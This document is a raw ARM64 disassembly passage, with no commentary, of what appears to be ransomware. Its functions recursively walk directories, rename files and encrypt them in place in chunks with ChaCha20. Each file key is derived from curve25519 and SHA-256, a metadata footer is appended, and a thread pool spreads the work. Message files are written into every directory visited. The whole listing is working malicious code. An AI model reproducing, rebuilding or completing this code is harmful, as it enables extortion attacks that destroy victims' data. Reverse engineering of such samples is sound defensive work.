    00406fccb.ne 0x406fd4
    00406fd0str wzr, [sp+204]
    00406fd4
    00406fd4loc_406fd4:
    00406fd4ldr x0, [sp+184]
    00406fd8bl fclose@plt
    00406fdcldr w0, [sp+28]
    00406fe0subs wzr, w0, 0
    00406fe4b.eq 0x407008
    00406fe8ldr w0, [sp+204]
    00406fecsubs wzr, w0, 0
    00406ff0b.ne 0x407008
    00406ff4ldr x0, [sp+104]
    00406ff8sub x0, x0, 36
    00406ffcmov x1, x0
    00407000ldr x0, [sp+40]
    00407004bl truncate@plt
    00407008
    00407008loc_407008:
    00407008ldr w0, [sp+204]
    0040700cldp x29, x30, [sp], 208
    00407010ret x30
    00406f18
    00407014
    00407014file_process:
    00407014stp x29, x30, [sp-336]!
    00407018add x29, sp, 0
    0040701cstr x0, [sp+24]
    00407020str xzr, [sp+320]
    00407024str xzr, [sp+328]
    00407028add x0, sp, 136
    0040702cmovz w2, 0
    00407030mov x1, x0
    00407034ldr x0, [sp+24]
    00407038bl file_get_meta_data
    0040703csubs wzr, w0, 0
    00407040b.eq 0x4071c8
    00407044add x0, sp, 176
    00407048mov x1, x0
    0040704cldr x0, [sp+24]
    00407050bl stat@plt
    00407054subs wzr, w0, 0
    00407058b.ne 0x4071cc
    0040705cldr x0, [sp+224]
    00407060subs xzr, x0, 15
    00407064b.le 0x4071cc
    00407068ldr x1, [sp+24]
    0040706cadrp x0, 4096
    00407070add x0, x0, 568
    00407074bl printf@plt
    00407078adrp x0, 4096
    0040707cadd x1, x0, 560
    00407080ldr x0, [sp+24]
    00407084bl fopen@plt
    00407088str x0, [sp+312]
    0040708cldr x0, [sp+312]
    00407090subs xzr, x0, 0
    00407094b.eq 0x4071cc
    00407098movz x0, 0x100000
    0040709cbl malloc@plt
    004070a0str x0, [sp+304]
    004070a4ldr x0, [sp+304]
    004070a8subs xzr, x0, 0
    004070acb.eq 0x4071bc
    004070b0add x1, sp, 136
    004070b4add x0, sp, 40
    004070b8mov x2, x1
    004070bcmov x1, x0
    004070c0adrp x0, 0x13000
    004070c4add x0, x0, 496
    004070c8bl session_key_get
    004070ccadd x1, sp, 40
    004070d0add x0, sp, 72
    004070d4bl crypto_session_init
    004070d8
    004070d8loc_4070d8:
    004070d8ldr x3, [sp+312]
    004070dcmovz x2, 0x100000
    004070e0movz x1, 1
    004070e4ldr x0, [sp+304]
    004070e8bl fread@plt
    004070ecstr x0, [sp+320]
    004070f0ldr x0, [sp+320]
    004070f4subs xzr, x0, 16
    004070f8b.ls 0x407178
    004070fcldr x0, [sp+320]
    00407100mov w1, w0
    00407104add x0, sp, 72
    00407108mov x2, x0
    0040710cldr x0, [sp+304]
    00407110bl buffer_crypt
    00407114ldr x0, [sp+320]
    00407118sub x0, xzr, x0
    0040711cmovz w2, 1
    00407120mov x1, x0
    00407124ldr x0, [sp+312]
    00407128bl fseek@plt
    0040712cldr x3, [sp+312]
    00407130ldr x2, [sp+320]
    00407134movz x1, 1
    00407138ldr x0, [sp+304]
    0040713cbl fwrite@plt
    00407140movz w2, 1
    00407144movz x1, 0x3100000
    00407148ldr x0, [sp+312]
    0040714cbl fseek@plt
    00407150ldr x1, [sp+328]
    00407154movz x0, 0x3200000
    00407158add x0, x1, x0
    0040715cstr x0, [sp+328]
    00407160ldr x0, [sp+224]
    00407164mov x1, x0
    00407168ldr x0, [sp+328]
    0040716csubs xzr, x0, x1
    00407170b.lo 0x4070d8
    00407174b 0x40717c
    00407178
    00407178loc_407178:
    00407178hint
    0040717c
    0040717cloc_40717c:
    0040717cadd x0, sp, 72
    00407180bl crypto_session_close
    00407184ldr x0, [sp+304]
    00407188bl free@plt
    0040718cmovz w0, 50198
    00407190movk w0, 0x6c890000
    00407194str w0, [sp+168]
    00407198movz w2, 2
    0040719cmovz x1, 0
    004071a0ldr x0, [sp+312]
    004071a4bl fseek@plt
    004071a8add x0, sp, 136
    004071acldr x3, [sp+312]
    004071b0movz x2, 36
    004071b4movz x1, 1
    004071b8bl fwrite@plt
    004071bc
    004071bcloc_4071bc:
    004071bcldr x0, [sp+312]
    004071c0bl fclose@plt
    004071c4b 0x4071cc
    004071c8
    004071c8loc_4071c8:
    004071c8hint
    004071cc
    004071ccloc_4071cc:
    004071ccldp x29, x30, [sp], 336
    004071d0ret x30
    00407014
    004071d4
    004071d4files_find_recursive:
    004071d4stp x29, x30, [sp-96]!
    004071d8add x29, sp, 0
    004071dcstr x0, [sp+40]
    004071e0str x1, [sp+32]
    004071e4str w2, [sp+28]
    004071e8movz x0, 4097
    004071ecbl malloc@plt
    004071f0str x0, [sp+88]
    004071f4ldr x0, [sp+88]
    004071f8subs xzr, x0, 0
    004071fcb.eq 0x40742c
    00407200ldr x1, [sp+40]
    00407204ldr x0, [sp+88]
    00407208bl strcpy@plt
    0040720cldr x1, [sp+40]
    00407210adrp x0, 4096
    00407214add x0, x0, 576
    00407218bl printf@plt
    0040721cldr x0, [sp+88]
    00407220bl opendir@plt
    00407224str x0, [sp+80]
    00407228ldr x0, [sp+80]
    0040722csubs xzr, x0, 0
    00407230b.eq 0x4073c4
    00407234str xzr, [sp+72]
    00407238b 0x4073a4
    0040723c
    0040723cloc_40723c:
    0040723cldr x0, [sp+72]
    00407240add x2, x0, 19
    00407244adrp x0, 4096
    00407248add x1, x0, 600
    0040724cmov x0, x2
    00407250bl strcmp@plt
    00407254subs wzr, w0, 0
    00407258b.eq 0x4073a4
    0040725cldr x0, [sp+72]
    00407260add x2, x0, 19
    00407264adrp x0, 4096
    00407268add x1, x0, 608
    0040726cmov x0, x2
    00407270bl strcmp@plt
    00407274subs wzr, w0, 0
    00407278b.eq 0x4073a4
    0040727cldr x0, [sp+72]
    00407280ldrb w0, [x0+18]
    00407284subs wzr, w0, 4
    00407288b.ne 0x4072f4
    0040728cldr x1, [sp+40]
    00407290ldr x0, [sp+88]
    00407294bl strcpy@plt
    00407298ldr x0, [sp+88]
    0040729cbl strlen@plt
    004072a0mov x1, x0
    004072a4ldr x0, [sp+88]
    004072a8add x0, x0, x1
    004072acmovz w1, 47
    004072b0strh w1, [x0]
    004072b4ldr x0, [sp+72]
    004072b8add x0, x0, 19
    004072bcmov x1, x0
    004072c0ldr x0, [sp+88]
    004072c4bl strcat@plt
    004072c8ldr x0, [sp+88]
    004072ccbl copy_path
    004072d0str x0, [sp+48]
    004072d4ldr x0, [sp+48]
    004072d8subs xzr, x0, 0
    004072dcb.eq 0x4073a4
    004072e0movz w2, 0
    004072e4ldr x1, [sp+32]
    004072e8ldr x0, [sp+48]
    004072ecbl files_find_recursive
    004072f0b 0x4073a4
    004072f4
    004072f4loc_4072f4:
    004072f4ldr x0, [sp+72]
    004072f8ldrb w0, [x0+18]
    004072fcsubs wzr, w0, 8
    00407300b.ne 0x4073a4
    00407304ldr x1, [sp+40]
    00407308ldr x0, [sp+88]
    0040730cbl strcpy@plt
    00407310ldr x0, [sp+88]
    00407314bl strlen@plt
    00407318mov x1, x0
    0040731cldr x0, [sp+88]
    00407320add x0, x0, x1
    00407324movz w1, 47
    00407328strh w1, [x0]
    0040732cldr x0, [sp+72]
    00407330add x0, x0, 19
    00407334mov x1, x0
    00407338ldr x0, [sp+88]
    0040733cbl strcat@plt
    00407340ldr x0, [sp+72]
    00407344add x2, x0, 19
    00407348adrp x0, 0x13000
    0040734cadd x1, x0, 528
    00407350mov x0, x2
    00407354bl file_ext_find
    00407358str w0, [sp+68]
    0040735cldr w0, [sp+68]
    00407360subs wzr, w0, 0
    00407364b.ne 0x4073a0
    00407368ldr x0, [sp+88]
    0040736cbl copy_path
    00407370str x0, [sp+56]
    00407374ldr x0, [sp+56]
    00407378subs xzr, x0, 0
    0040737cb.eq 0x4073a0
    00407380ldr x0, [sp+56]
    00407384bl file_rename
    00407388str x0, [sp+56]
    0040738cldr x2, [sp+56]
    00407390adrp x0, 0
    00407394add x1, x0, 20
    00407398ldr x0, [sp+32]
    0040739cbl thpool_add_work
    004073a0
    004073a0loc_4073a0:
    004073a0hint
    004073a4
    004073a4loc_4073a4:
    004073a4ldr x0, [sp+80]
    004073a8bl readdir@plt
    004073acstr x0, [sp+72]
    004073b0ldr x0, [sp+72]
    004073b4subs xzr, x0, 0
    004073b8b.ne 0x40723c
    004073bcldr x0, [sp+80]
    004073c0bl closedir@plt
    004073c4
    004073c4loc_4073c4:
    004073c4adrp x0, 0x13000
    004073c8add x0, x0, 536
    004073ccldr x1, [x0]
    004073d0adrp x0, 4096
    004073d4add x3, x0, 616
    004073d8adrp x0, 4096
    004073dcadd x2, x0, 248
    004073e0ldr x0, [sp+40]
    004073e4bl file_write_message
    004073e8adrp x0, 0x13000
    004073ecadd x0, x0, 536
    004073f0ldr x1, [x0]
    004073f4adrp x0, 4096
    004073f8add x3, x0, 624
    004073fcadrp x0, 4096
    00407400add x2, x0, 368
    00407404ldr x0, [sp+40]
    00407408bl file_write_message
    0040740cldr w0, [sp+28]
    00407410subs wzr, w0, 0
    00407414b.ne 0x407420
    00407418ldr x0, [sp+40]
    0040741cbl free@plt
    00407420
    00407420loc_407420:
    00407420ldr x0, [sp+88]
    00407424bl free@plt
    00407428b 0x407430
    0040742c
    0040742cloc_40742c:
    0040742chint
    00407430
    00407430loc_407430:
    00407430ldp x29, x30, [sp], 96
    00407434ret x30
    004071d4
    00407438
    00407438csprng:
    00407438stp x29, x30, [sp-48]!
    0040743cadd x29, sp, 0
    00407440str x0, [sp+24]
    00407444str w1, [sp+20]
    00407448adrp x0, 4096
    0040744cadd x1, x0, 952
    00407450adrp x0, 4096
    00407454add x0, x0, 960
    00407458bl fopen@plt
    0040745cstr x0, [sp+40]
    00407460ldr x0, [sp+40]
    00407464subs xzr, x0, 0
    00407468b.eq 0x40748c
    0040746cldrsw x0, [sp+20]
    00407470ldr x3, [sp+40]
    00407474mov x2, x0
    00407478movz x1, 1
    0040747cldr x0, [sp+24]
    00407480bl fread@plt
    00407484ldr x0, [sp+40]
    00407488bl fclose@plt
    0040748c
    0040748cloc_40748c:
    0040748chint
    00407490ldp x29, x30, [sp], 48
    00407494ret x30
    00407438
    00407498
    00407498session_key_get:
    00407498stp x29, x30, [sp-256]!
    0040749cadd x29, sp, 0
    004074a0str x0, [sp+40]
    004074a4str x1, [sp+32]
    004074a8str x2, [sp+24]
    004074acmovz x0, 9
    004074b0movz x1, 0
    004074b4stp x0, x1, [sp+88]
    004074b8stp xzr, xzr, [sp+104]
    004074bcadd x0, sp, 56
    004074c0movz w1, 32
    004074c4bl csprng
    004074c8ldrb w0, [sp+56]
    004074ccand w0, w0, 0xfffffff8
    004074d0and w0, w0, 255
    004074d4strb w0, [sp+56]
    004074d8ldrb w0, [sp+87]
    004074dcand w0, w0, 127
    004074e0and w0, w0, 255
    004074e4strb w0, [sp+87]
    004074e8ldrb w0, [sp+87]
    004074ecorr w0, w0, 64
    004074f0and w0, w0, 255
    004074f4strb w0, [sp+87]
    004074f8add x1, sp, 88
    004074fcadd x0, sp, 56
    00407500mov x2, x1
    00407504mov x1, x0
    00407508ldr x0, [sp+24]
    0040750cbl curve25519_donna
    00407510add x1, sp, 56
    00407514add x0, sp, 224
    00407518ldr x2, [sp+40]
    0040751cbl curve25519_donna
    00407520add x0, sp, 56
    00407524movz x2, 32
    00407528movz w1, 0
    0040752cbl memset@plt
    00407530add x0, sp, 120
    00407534bl sha256_init
    00407538add x1, sp, 224
    0040753cadd x0, sp, 120
    00407540movz w2, 32
    00407544bl sha256_hash
    00407548add x0, sp, 120
    0040754cldr x1, [sp+32]
    00407550bl sha256_done
    00407554add x0, sp, 120
    00407558movz x2, 104
    0040755cmovz w1, 0
    00407560bl memset@plt
    00407564hint
    00407568ldp x29, x30, [sp], 256
    0040756cret x30
    00407498
    00407570
    00407570buffer_crypt:
    00407570stp x29, x30, [sp-48]!
    00407574add x29, sp, 0
    00407578str x0, [sp+40]
    0040757cstr w1, [sp+36]
    00407580str x2, [sp+24]
    00407584ldr x0, [sp+24]
    00407588mov x2, x0
    0040758cldr x1, [sp+40]
    00407590ldr w0, [sp+36]
    00407594bl cc20_encrypt
    00407598hint
    0040759cldp x29, x30, [sp], 48
    004075a0ret x30
    00407570
    004075a4
    004075a4crypto_session_init:
    004075a4stp x29, x30, [sp-32]!
    004075a8add x29, sp, 0
    004075acstr x0, [sp+24]
    004075b0str x1, [sp+16]
    004075b4movz x2, 64
    004075b8movz w1, 0
    004075bcldr x0, [sp+24]
    004075c0bl memset@plt
    004075c4ldr x3, [sp+24]
    004075c8adrp x0, 0x13000
    004075ccadd x2, x0, 568
    004075d0ldr x1, [sp+16]
    004075d4mov x0, x3
    004075d8bl cc20_setkey
    004075dchint
    004075e0ldp x29, x30, [sp], 32
    004075e4ret x30
    004075a4